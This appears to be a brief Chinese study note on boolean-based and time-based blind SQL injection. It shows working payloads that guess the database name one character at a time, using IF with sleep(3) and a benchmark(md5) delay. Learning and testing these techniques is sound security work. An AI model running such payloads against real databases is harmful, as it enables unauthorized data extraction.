布尔盲注&&时间盲注

条件:返回正确或者错误页面

image.png
if(EXPR,TRUEEXPR,FALSEEXPR)

time-based

if(ascii(substr((select database() limit 0,1),1,1))>97,sleep(3),0)
select benchmark(10000000,md5('a'))

你可能感兴趣的:(布尔盲注&&时间盲注)